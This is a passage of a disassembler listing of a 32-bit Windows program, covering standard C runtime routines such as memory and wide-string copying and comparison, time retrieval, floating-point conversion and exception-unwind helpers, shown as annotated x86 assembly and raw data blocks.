eax, [ebp+arg_0] push eax mov [ebp+var_14], 49h mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41E1C0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] lea eax, [ebp+var_20] push eax call sub_423327 add esp, 10h leave retn sub_41F73D endp ; --------------------------------------------------------------------------- db 3 dup(0CCh) dd 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_41F780 proc near ; CODE XREF: seg000:0040C6A0p ; seg000:0040C6B7p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41F7D2 mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41F7D3 test eax, 1 jz short loc_41F7B3 mov cl, [esi] cmp cl, [edi] jnz short loc_41F800 add esi, 1 add edi, 1 sub eax, 1 jz short loc_41F7D0 loc_41F7B3: ; CODE XREF: sub_41F780+20j ; sub_41F780+4Ej mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41F800 mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41F800 add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41F7B3 loc_41F7D0: ; CODE XREF: sub_41F780+31j ; sub_41F780+8Aj pop edi pop esi locret_41F7D2: ; CODE XREF: sub_41F780+6j retn ; --------------------------------------------------------------------------- loc_41F7D3: ; CODE XREF: sub_41F780+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41F808 repe cmpsd jz short loc_41F808 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41F7FB cmp ch, dh jnz short loc_41F7FB shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41F7FB cmp ch, dh loc_41F7FB: ; CODE XREF: sub_41F780+69j ; sub_41F780+6Dj ... mov eax, 0 loc_41F800: ; CODE XREF: sub_41F780+26j ; sub_41F780+39j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41F808: ; CODE XREF: sub_41F780+5Bj ; sub_41F780+5Fj test eax, eax jz short loc_41F7D0 mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41F7FB sub eax, 1 jz short loc_41F835 cmp dh, ch jnz short loc_41F7FB sub eax, 1 jz short loc_41F835 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41F7FB sub eax, 1 loc_41F835: ; CODE XREF: sub_41F780+97j ; sub_41F780+A0j pop edi pop esi retn sub_41F780 endp ; =============== S U B R O U T I N E ======================================= sub_41F838 proc near ; CODE XREF: sub_40C89B+75p ; sub_40C89B+85p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] cmp word ptr [eax], 0 mov edx, eax jz short loc_41F84C loc_41F844: ; CODE XREF: sub_41F838+12j inc edx inc edx cmp word ptr [edx], 0 jnz short loc_41F844 loc_41F84C: ; CODE XREF: sub_41F838+Aj push esi mov esi, [esp+4+arg_4] loc_41F851: ; CODE XREF: sub_41F838+26j mov cx, [esi] mov [edx], cx inc edx inc edx inc esi inc esi test cx, cx jnz short loc_41F851 pop esi retn sub_41F838 endp ; =============== S U B R O U T I N E ======================================= sub_41F862 proc near ; CODE XREF: seg000:00411260p ; seg000:004112D1p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] mov edx, [esp+arg_4] loc_41F86A: ; CODE XREF: sub_41F862+15j mov ax, [edx] mov [ecx], ax inc ecx inc ecx inc edx inc edx test ax, ax jnz short loc_41F86A mov eax, [esp+arg_0] retn sub_41F862 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F87E proc near ; CODE XREF: sub_40E3B2+1CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx lea eax, [ebp+var_8] push eax call ds:dword_42B198 ; GetSystemTimeAsFileTime mov eax, [ebp+var_8] mov ecx, [ebp+var_4] push 0 add eax, 2AC18000h push 989680h adc ecx, 0FE624E21h push ecx push eax call sub_420C80 mov ecx, [ebp+arg_0] test ecx, ecx jz short locret_41F8B5 mov [ecx], eax locret_41F8B5: ; CODE XREF: sub_41F87E+33j leave retn sub_41F87E endp ; --------------------------------------------------------------------------- aB?n db '¡ ?N',0 ; DATA XREF: seg002:0043C018o dword_41F8BC dd 6A56C085h, 7755E14h, 200B8h, 3B06EB00h, 8B077DC6h, 3F20A3C6h dd 46A004Eh, 0D06E850h, 0C0850000h, 8A35959h, 75004E2Fh dd 56046A1Eh, 3F203589h, 0EDE8004Eh, 8500000Ch, 0A35959C0h dd 4E2F08h, 1A6A0575h, 33C35E58h, 3500B9D2h, 5EB0044h dd 4E2F08A1h, 20C8900h, 8320C183h, 0F98104C2h, 443780h dd 0D233EA7Ch, 443510B9h, 0C1C28B00h, 48B05F8h, 4E2BA085h dd 83F28B00h, 48B1FE6h, 0FFF883F0h, 0C0850474h, 9830375h dd 20C183FFh, 70F98142h, 7C004435h, 5EC033D4h, 176AE8C3h dd 3D800000h, 4E2938h, 0E9057400h, 49C9h, 0CCCCCCC3h, 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F980 proc near ; CODE XREF: sub_40EFAE+4Ep ; sub_4211B3+2DEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41F9A0 cmp edi, eax jb loc_41FB1C loc_41F9A0: ; CODE XREF: sub_41F980+16j test edi, 3 jnz short loc_41F9BC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41F9DC rep movsd jmp off_41FACC[edx*4] ; --------------------------------------------------------------------------- loc_41F9BC: ; CODE XREF: sub_41F980+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41F9D4 and eax, 3 add ecx, eax jmp dword ptr loc_41F9DC+4[eax*4] ; --------------------------------------------------------------------------- loc_41F9D4: ; CODE XREF: sub_41F980+46j jmp dword_41FADC[ecx*4] ; --------------------------------------------------------------------------- db 90h ; --------------------------------------------------------------------------- loc_41F9DC: ; CODE XREF: sub_41F980+31j ; DATA XREF: sub_41F980+4Dr jmp off_41FA60[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset dword_41F9F0 dd offset dword_41FA1C dd offset dword_41FA40 dword_41F9F0 dd 68AD123h, 468A0788h, 1478801h, 0C102468Ah, 478802E9h ; DATA XREF: sub_41F980+64o dd 3C68302h, 8303C783h, 0CC7208F9h, 24FFA5F3h, 41FACC95h dd 498D00h dword_41FA1C dd 68AD123h, 468A0788h, 2E9C101h, 83014788h, 0C78302C6h ; DATA XREF: sub_41F980+68o dd 8F98302h, 0A5F3A672h, 0CC9524FFh, 900041FAh dword_41FA40 dd 68AD123h, 0C6830788h, 2E9C101h, 8301C783h, 887208F9h ; DATA XREF: sub_41F980+6Co dd 24FFA5F3h, 41FACC95h, 498D00h off_41FA60 dd offset byte_41FAC3 ; DATA XREF: sub_41F980:loc_41F9DCr dd offset dword_41FAB0 dd offset dword_41FAA8 dd offset dword_41FAA0 dd offset dword_41FA98 dd offset dword_41FA90 dd offset dword_41FA88 dd offset dword_41FA80 dword_41FA80 dd 0E48E448Bh, 0E48F4489h ; DATA XREF: sub_41F980+FCo dword_41FA88 dd 0E88E448Bh, 0E88F4489h ; DATA XREF: sub_41F980+F8o dword_41FA90 dd 0EC8E448Bh, 0EC8F4489h ; DATA XREF: sub_41F980+F4o dword_41FA98 dd 0F08E448Bh, 0F08F4489h ; DATA XREF: sub_41F980+F0o dword_41FAA0 dd 0F48E448Bh, 0F48F4489h ; DATA XREF: sub_41F980+ECo dword_41FAA8 dd 0F88E448Bh, 0F88F4489h ; DATA XREF: sub_41F980+E8o dword_41FAB0 dd 0FC8E448Bh, 0FC8F4489h, 8D048Dh, 3000000h ; DATA XREF: sub_41F980+E4o db 0F0h, 3, 0F8h byte_41FAC3 db 0FFh ; DATA XREF: sub_41F980:off_41FA60o dd 0FACC9524h, 0FF8B0041h off_41FACC dd offset dword_41FADC ; DATA XREF: sub_41F980+35r dd offset dword_41FAE4 dd offset dword_41FAF0 dd offset dword_41FB04 dword_41FADC dd 5E08458Bh ; DATA XREF: sub_41F980:loc_41F9D4r ; sub_41F980:off_41FACCo dd 90C3C95Fh dword_41FAE4 dd 788068Ah, 5E08458Bh, 90C3C95Fh ; DATA XREF: sub_41F980+150o dword_41FAF0 dd 788068Ah, 8801468Ah, 458B0147h, 0C95F5E08h, 498DC3h ; DATA XREF: sub_41F980+154o dword_41FB04 dd 788068Ah, 8801468Ah, 468A0147h, 2478802h, 5E08458Bh ; DATA XREF: sub_41F980+158o dd 90C3C95Fh ; --------------------------------------------------------------------------- loc_41FB1C: ; CODE XREF: sub_41F980+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41FB50 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41FB44 std rep movsd cld jmp off_41FC68[edx*4] ; --------------------------------------------------------------------------- dw 0FF8Bh ; --------------------------------------------------------------------------- loc_41FB44: ; CODE XREF: sub_41F980+1B5j neg ecx jmp off_41FC18[ecx*4] ; --------------------------------------------------------------------------- db 8Dh, 49h, 0 ; --------------------------------------------------------------------------- loc_41FB50: ; CODE XREF: sub_41F980+1AAj mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41FB68 and eax, 3 sub ecx, eax jmp dword ptr loc_41FB68+4[eax*4] ; --------------------------------------------------------------------------- loc_41FB68: ; CODE XREF: sub_41F980+1DAj ; DATA XREF: sub_41F980+1E1r jmp off_41FC68[ecx*4] sub_41F980 endp ; --------------------------------------------------------------------------- db 90h dd offset dword_41FB7C dd offset dword_41FBA0 dd offset dword_41FBC8 dword_41FB7C dd 2303468Ah, 34788D1h, 0C101EE83h, 0EF8302E9h, 8F98301h ; DATA XREF: seg000:0041FB70o dd 0F3FDB272h, 24FFFCA5h, 41FC6895h, 498D00h dword_41FBA0 dd 2303468Ah, 34788D1h, 0C102468Ah, 478802E9h, 2EE8302h ; DATA XREF: seg000:0041FB74o dd 8302EF83h, 887208F9h, 0FCA5F3FDh, 689524FFh, 900041FCh dword_41FBC8 dd 2303468Ah, 34788D1h, 8802468Ah, 468A0247h, 2E9C101h ; DATA XREF: seg000:0041FB78o dd 83014788h, 0EF8303EEh, 8F98303h, 0FF56820Fh, 0F3FDFFFFh dd 24FFFCA5h, 41FC6895h, 498D00h, 41FC1Ch, 41FC24h, 41FC2Ch dd 41FC34h, 41FC3Ch, 41FC44h, 41FC4Ch off_41FC18 dd offset byte_41FC5F ; DATA XREF: sub_41F980+1C6r dd 1C8E448Bh, 1C8F4489h, 188E448Bh, 188F4489h, 148E448Bh dd 148F4489h, 108E448Bh, 108F4489h, 0C8E448Bh, 0C8F4489h dd 88E448Bh, 88F4489h, 48E448Bh, 48F4489h, 8D048Dh, 3000000h db 0F0h, 3, 0F8h byte_41FC5F db 0FFh ; DATA XREF: seg000:off_41FC18o dd 0FC689524h, 0FF8B0041h off_41FC68 dd offset dword_41FC78 ; DATA XREF: sub_41F980+1BBr ; sub_41F980:loc_41FB68r dd offset dword_41FC80 dd offset dword_41FC90 dd offset dword_41FCA4 dword_41FC78 dd 5E08458Bh, 90C3C95Fh ; DATA XREF: seg000:off_41FC68o dword_41FC80 dd 8803468Ah, 458B0347h, 0C95F5E08h, 498DC3h ; DATA XREF: seg000:0041FC6Co dword_41FC90 dd 8803468Ah, 468A0347h, 2478802h, 5E08458Bh, 90C3C95Fh ; DATA XREF: seg000:0041FC70o dword_41FCA4 dd 8803468Ah, 468A0347h, 2478802h, 8801468Ah, 458B0147h ; DATA XREF: seg000:0041FC74o dd 0C95F5E08h, 0CCCCCCC3h ; =============== S U B R O U T I N E ======================================= sub_41FCC0 proc near ; CODE XREF: sub_40EEBD+44p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = qword ptr 4 cmp ds:dword_4E2B90, 0 jz sub_424720 sub esp, 8 stmxcsr [esp+8+var_4] mov eax, [esp+8+var_4] and eax, 1F80h cmp eax, 1F80h jnz short loc_41FCF4 fnstcw word ptr [esp+8+var_8] mov ax, word ptr [esp+8+var_8] and ax, 7Fh cmp ax, 7Fh loc_41FCF4: ; CODE XREF: sub_41FCC0+23j lea esp, [esp+8] jnz sub_424720 jmp short $+2 movq xmm0, [esp+arg_0] movapd xmm2, oword ptr ds:oword_439410 movapd xmm1, xmm0 movapd xmm7, xmm0 psrlq xmm0, 34h movd eax, xmm0 andpd xmm0, oword ptr ds:oword_439440 psubd xmm2, xmm0 psrlq xmm1, xmm2 test eax, 800h jnz short loc_41FD82 cmp eax, 3FFh jl short loc_41FDBA psllq xmm1, xmm2 cmp eax, 432h jg short loc_41FD53 movq [esp+arg_0], xmm1 fld [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_41FD53: ; CODE XREF: sub_41FCC0+86j ; sub_41FCC0+E1j ucomisd xmm7, xmm7 jnp short loc_41FD7D mov edx, 3EDh sub esp, 10h mov [esp+10h+var_4], edx mov edx, esp add edx, 14h mov [esp+10h+var_8], edx mov [esp+10h+var_C], edx mov [esp+10h+var_10], edx call sub_424391 add esp, 10h loc_41FD7D: ; CODE XREF: sub_41FCC0+97j fld [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_41FD82: ; CODE XREF: sub_41FCC0+74j movq xmm0, [esp+arg_0] psllq xmm1, xmm2 movapd xmm3, xmm0 cmppd xmm0, xmm1, 1 cmp eax, 0BFFh jl short loc_41FDBD cmp eax, 0C32h jg short loc_41FD53 andpd xmm0, oword ptr ds:oword_439400 subsd xmm1, xmm0 movq [esp+arg_0], xmm1 fld [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_41FDBA: ; CODE XREF: sub_41FCC0+7Bj fldz retn ; --------------------------------------------------------------------------- loc_41FDBD: ; CODE XREF: sub_41FCC0+DAj cmppd xmm3, oword ptr ds:oword_439430, 1 orpd xmm3, oword ptr ds:oword_439430 andpd xmm3, oword ptr ds:oword_439420 movq [esp+arg_0], xmm3 fld [esp+arg_0] retn sub_41FCC0 endp ; --------------------------------------------------------------------------- byte_41FDE1 db 0C3h ; DATA XREF: seg002:0044378Co ; seg002:00443790o ; =============== S U B R O U T I N E ======================================= sub_41FDE2 proc near ; CODE XREF: sub_41FE1Ap mov eax, offset sub_424B83 mov ds:off_443A50, eax mov ds:off_443A54, offset sub_42484B mov ds:off_443A58, offset sub_4248B0 mov ds:off_443A5C, offset sub_4247F3 mov ds:off_443A60, offset word_424896 mov ds:off_443A64, eax retn sub_41FDE2 endp ; =============== S U B R O U T I N E ======================================= sub_41FE1A proc near ; CODE XREF: sub_41F146+Dp ; sub_424C26+21p ; DATA XREF: ... arg_0 = dword ptr 4 call sub_41FDE2 call sub_424C26 cmp [esp+arg_0], 0 mov ds:dword_4E294C, eax jz short loc_41FE35 call sub_424BD4 loc_41FE35: ; CODE XREF: sub_41FE1A+14j fnclex retn sub_41FE1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FE38 proc near ; CODE XREF: sub_40EEBD+21p ; sub_40EEBD+50p ... var_20 = dword ptr -20h var_10 = qword ptr -10h var_8 = dword ptr -8 push ebp mov ebp, esp sub esp, 20h and esp, 0FFFFFFF0h fld st fst [esp+20h+var_8] fistp [esp+20h+var_10] fild [esp+20h+var_10] mov edx, [esp+20h+var_8] mov eax, dword ptr [esp+20h+var_10] test eax, eax jz short loc_41FE97 loc_41FE5B: ; CODE XREF: sub_41FE38+69j fsubp st(1), st test edx, edx jns short loc_41FE7F fstp [esp+20h+var_20] mov ecx, [esp+20h+var_20] xor ecx, 80000000h add ecx, 7FFFFFFFh adc eax, 0 mov edx, dword ptr [esp+20h+var_10+4] adc edx, 0 jmp short locret_41FEAB ; --------------------------------------------------------------------------- loc_41FE7F: ; CODE XREF: sub_41FE38+27j fstp [esp+20h+var_20] mov ecx, [esp+20h+var_20] add ecx, 7FFFFFFFh sbb eax, 0 mov edx, dword ptr [esp+20h+var_10+4] sbb edx, 0 jmp short locret_41FEAB ; --------------------------------------------------------------------------- loc_41FE97: ; CODE XREF: sub_41FE38+21j mov edx, dword ptr [esp+20h+var_10+4] test edx, 7FFFFFFFh jnz short loc_41FE5B fstp [esp+20h+var_8] fstp [esp+20h+var_8] locret_41FEAB: ; CODE XREF: sub_41FE38+45j ; sub_41FE38+5Dj leave retn sub_41FE38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41FEAD proc near ; CODE XREF: sub_40EF65+2Cp ; seg000:004104C2p ... jmp sub_41E2A1 sub_41FEAD endp ; =============== S U B R O U T I N E ======================================= sub_41FEB2 proc near ; CODE XREF: sub_40F024+55p ; seg000:00410328p ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41E5A7 pop ecx pop ecx retn sub_41FEB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEC0 proc near ; CODE XREF: sub_4250FE+60p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41FEC0 endp ; --------------------------------------------------------------------------- db '[ÉÂ',8,0 ; =============== S U B R O U T I N E ======================================= sub_41FEF0 proc near ; CODE XREF: sub_424D74+25p ; sub_424F82+149p ... arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41FEF0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEF7 proc near ; CODE XREF: sub_41FFBA+143p ; sub_4250FE:loc_425121p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov esi, large fs:0 mov [ebp+var_4], esi mov [ebp+var_8], offset loc_41FF20 push 0 push [ebp+arg_4] push [ebp+var_8] push [ebp+arg_0] call sub_4298DC ; RtlUnwind loc_41FF20: ; DATA XREF: sub_41FEF7+12o mov eax, [ebp+arg_4] mov eax, [eax+4] and eax, 0FFFFFFFDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov edi, large fs:0 mov ebx, [ebp+var_4] mov [ebx], edi mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_41FEF7 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_425413 add esp, 20h mov [ebp-4], eax pop edi pop esi pop ebx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- byte_41FF7F db 0FCh ; DATA XREF: sub_420218+1Fo aLdLh7d db '‹D$',8,'‹H',8,';',0Dh,'Ô7D',0 db 74h, 0Ch, 8Bh dd 83042444h, 33080448h, 6AC340C0h, 70FF5000h, 0C70FF14h dd 74FF006Ah, 70FF2024h, 2474FF10h, 545DE820h, 0C4830000h db 20h, 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FFBA proc near ; CODE XREF: sub_41FFBA+15Bp ; sub_425165+30p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx cmp [ebp+arg_0], 123h jnz short loc_41FFDC mov eax, offset loc_420053 mov ecx, [ebp+arg_4] mov [ecx], eax xor eax, eax inc eax jmp loc_42007C ; --------------------------------------------------------------------------- loc_41FFDC: ; CODE XREF: sub_41FFBA+Ej and [ebp+var_28], 0 mov [ebp+var_24], offset loc_42007F mov eax, ds:dword_4437D4 mov [ebp+var_20], eax mov eax, [ebp+arg_10] mov [ebp+var_1C], eax mov eax, [ebp+arg_4] mov [ebp+var_18], eax mov eax, [ebp+arg_14] mov [ebp+var_14], eax mov eax, [ebp+arg_18] mov [ebp+var_10], eax and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call ds:dword_4E2990 pop ecx pop ecx and [ebp+var_34], 0 loc_420053: ; DATA XREF: sub_41FFBA+10o cmp [ebp+var_4], 0 jz short loc_420070 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_420079 ; --------------------------------------------------------------------------- loc_420070: ; CODE XREF: sub_41FFBA+9Dj mov eax, [ebp+var_28] mov large fs:0, eax loc_420079: ; CODE XREF: sub_41FFBA+B4j mov eax, [ebp+var_34] loc_42007C: ; CODE XREF: sub_41FFBA+1Dj pop ebx leave retn ; --------------------------------------------------------------------------- loc_42007F: ; DATA XREF: sub_41FFBA+26o push ebp mov ebp, esp push ecx push ebx cld mov eax, [ebp+arg_4] mov eax, [eax+8] cmp eax, ds:dword_4437D4 jz short loc_4200AA mov eax, [ebp+arg_0] mov eax, [eax+4] or eax, 8 mov ecx, [ebp+arg_0] mov [ecx+4], eax xor eax, eax inc eax jmp loc_42012E ; --------------------------------------------------------------------------- loc_4200AA: ; CODE XREF: sub_41FFBA+D7j mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h jz short loc_4200C4 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 xor eax, eax inc eax jmp short loc_42012E ; --------------------------------------------------------------------------- loc_4200C4: ; CODE XREF: sub_41FFBA+F9j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+18h] mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+10h] push [ebp+arg_0] call sub_425413 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_420102 push [ebp+arg_0] push [ebp+arg_4] call sub_41FEF7 loc_420102: ; CODE XREF: sub_41FFBA+13Bj push 0 push 0 push 0 push 0 push 0 lea eax, [ebp+var_4] push eax push 123h call sub_41FFBA add esp, 1Ch mov eax, [ebp+var_4] mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp eax ; --------------------------------------------------------------------------- db 33h db 0C0h, 40h ; --------------------------------------------------------------------------- loc_42012E: ; CODE XREF: sub_41FFBA+EBj ; sub_41FFBA+108j pop ebx leave retn sub_41FFBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420131 proc near ; CODE XREF: sub_425165+50p ; sub_425221+F5p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 push ebx push esi push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+var_4], eax mov [ebp+arg_0], esi jl short loc_420187 loc_42014F: ; CODE XREF: sub_420131+51j cmp esi, 0FFFFFFFFh jnz short loc_420159 call sub_4254E2 loc_420159: ; CODE XREF: sub_420131+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] lea eax, [ebx+eax*4] cmp [eax+4], ecx jge short loc_42016D cmp ecx, [eax+8] jle short loc_420172 loc_42016D: ; CODE XREF: sub_420131+35j cmp esi, 0FFFFFFFFh jnz short loc_42017E loc_420172: ; CODE XREF: sub_420131+3Aj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_42017E: ; CODE XREF: sub_420131+3Fj cmp [ebp+arg_4], 0 jge short loc_42014F mov eax, [ebp+var_4] loc_420187: ; CODE XREF: sub_420131+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_42019B cmp esi, eax jbe short loc_4201A0 loc_42019B: ; CODE XREF: sub_420131+64j call sub_4254E2 loc_4201A0: ; CODE XREF: sub_420131+68j pop edi lea eax, [esi+esi*4] pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_420131 endp ; =============== S U B R O U T I N E ======================================= sub_4201AB proc near ; CODE XREF: sub_424DD8+28p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] mov [eax], ecx mov ecx, ds:dword_4E2950 mov [eax+4], ecx mov ds:dword_4E2950, eax retn sub_4201AB endp ; =============== S U B R O U T I N E ======================================= sub_4201C4 proc near ; CODE XREF: sub_424F1C+4Dp arg_0 = dword ptr 4 mov eax, ds:dword_4E2950 jmp short loc_4201D6 ; --------------------------------------------------------------------------- loc_4201CB: ; CODE XREF: sub_4201C4+14j mov ecx, [eax] cmp ecx, [esp+arg_0] jz short loc_4201DC mov eax, [eax+4] loc_4201D6: ; CODE XREF: sub_4201C4+5j test eax, eax jnz short loc_4201CB inc eax retn ; --------------------------------------------------------------------------- loc_4201DC: ; CODE XREF: sub_4201C4+Dj xor eax, eax retn sub_4201C4 endp ; =============== S U B R O U T I N E ======================================= sub_4201DF proc near ; CODE XREF: sub_424F1C+9p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, ds:dword_4E2950 cmp edx, eax jnz short loc_4201F5 mov eax, [edx+4] mov ds:dword_4E2950, eax retn ; --------------------------------------------------------------------------- loc_4201F5: ; CODE XREF: sub_4201DF+Bj mov ecx, eax add eax, 4 jmp short loc_420207 ; --------------------------------------------------------------------------- loc_4201FC: ; CODE XREF: sub_4201DF+2Bj mov eax, [eax] cmp edx, eax jz short loc_420211 mov ecx, eax lea eax, [ecx+4] loc_420207: ; CODE XREF: sub_4201DF+1Bj cmp dword ptr [eax], 0 jnz short loc_4201FC jmp sub_4254E2 ; --------------------------------------------------------------------------- loc_420211: ; CODE XREF: sub_4201DF+21j mov eax, [edx+4] mov [ecx+4], eax retn sub_4201DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420218 proc near ; CODE XREF: sub_424DD8+66p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 18h mov eax, ds:dword_4437D4 and [ebp+var_18], 0 mov ecx, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_4] mov [ebp+var_C], eax mov eax, [ebp+arg_C] inc eax mov [ebp+var_14], offset byte_41FF7F mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_18], eax lea eax, [ebp+var_18] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_425510 mov ecx, eax mov eax, [ebp+var_18] mov large fs:0, eax mov eax, ecx leave retn sub_420218 endp ; --------------------------------------------------------------------------- db 3 dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420274 proc near ; CODE XREF: seg000:00425FD8p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_42028C push [ebp+arg_0] call sub_4298DC ; RtlUnwind loc_42028C: ; DATA XREF: sub_420274+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_420274 endp ; --------------------------------------------------------------------------- dword_420294 dd 4244C8Bh, 60441F7h, 0B8000000h, 1, 448B0F74h, 548B0824h ; DATA XREF: sub_4202B6+Ao ; sub_42031E+9o dd 2891024h, 3B8h db 0, 0C3h ; =============== S U B R O U T I N E ======================================= sub_4202B6 proc near ; CODE XREF: seg000:00425FE5p ; seg000:00426038p var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset dword_420294 push large dword ptr fs:0 mov large fs:0, esp loc_4202D3: ; CODE XREF: sub_4202B6:loc_42030Ej mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_420310 